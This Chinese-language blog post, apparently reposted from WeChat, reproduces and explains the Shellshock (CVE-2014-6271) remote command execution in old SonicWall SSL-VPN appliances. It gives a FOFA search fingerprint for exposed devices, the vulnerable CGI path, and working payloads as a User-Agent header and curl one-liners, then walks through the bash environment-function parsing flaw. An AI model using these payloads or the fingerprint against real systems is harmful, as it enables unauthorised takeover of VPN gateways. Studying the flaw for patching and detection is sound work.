漏洞简介
由于 SonicWall SSL-VPN 历史版本(Sonic SMA < 8.0.0.4) 使用了受 Shellshock 漏洞影响的 bash 版本以及 HTTP CGI 可执行程序,攻击者可构造其恶意 HTTP 请求头,造成远程任意命令执行,并获取主机控制权限。
漏洞复现
fofa 指纹:(body="login_box_sonicwall" || header="SonicWALL SSL-VPN Web Server") && body="SSL-VPN"
访问 SonicWall SSL-VPN 的目录 /cgi-bin/jarrewrite.sh
构造请求实现远程命令执行
User-Agent: () { :; }; echo ; /bin/bash -c 'whoami'
或者直接通过curl命令快速实现
curl -A "() { :; }; echo ; /bin/bash -c 'whoami'" https://127.0.0.1/cgi-bin/jarrewrite.sh -k
curl -H "X:() { :; }; echo ; /bin/bash -c 'whoami'" https://127.0.0.1/cgi-bin/jarrewrite.sh -k
漏洞原理 CVE-2014-6271
在获取主机权限后我们注意到 /cgi-bin/jarrewrite.sh
刚开始以为是因为这个脚本才产生的漏洞,后来发现跟这个脚本并没有太大的关系,利用这个脚本是因为这个脚本调用了/bin/bash
我们注意到这个 bash 的版本 可以说是非常老了,而老版本的 bash 存在着历史漏洞CVE-2014-6271
Bash 使用的环境变量是通过函数名称来进行调用的,导致漏洞出问题时以(){
开头定义的环境变量在 ENV 中解析成函数之后,Bash 执行并未退出,而是继续解析并执行 shell 命令。
下面是参考网上文章一些自己的分析,若有错误之处请指正
我们在 bash 命令行中直接执行
x='() { :;}; echo CVE-2014-6271' bash -c "echo test"
可以看到输出了两行数据。
在shell 里面定义了一个内容为字符串 () { :;}; echo CVE-2014-6271
的变量 x
当 Bash 在初始化环境变量是,语法解析器发现小括号和大括号是就认定他是一个函数定义
shell
bash-2.05b$ test='() { echo test; }'
bash-2.05b$ export test
bash-2.05b$ bash -c 'test'
test
bash-2.05b$
最后删除环境变量定义 unset test
开启新的 bash 进程之后,test 被解析成了全局的函数
declare
命令是 Bash 内置的,用来限定变量的属性,-f
表示 test 是一个函数,-x
参数表示 test 被 export 成一个环境变量,所以这句话的意思是让 test 成了全局有效的函数。
我们在对 SonicWall SSL-VPN 的这个 poc 进行一个简单的分析
User-Agent: () { :; }; echo ; /bin/bash -c 'whoami'
User-Agent 对应的字符串会全部存进环境变量当中,存进环境变量中的数据类似于 a() { :; }; echo ; /bin/bash -c 'whoami'
,当低版本的 bash 执行环境变量时,就可以实现命令执行的效果,而 { :; } 这句中的冒号和分号,分号作为结束符,而冒号则类似于 python 中的pass。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论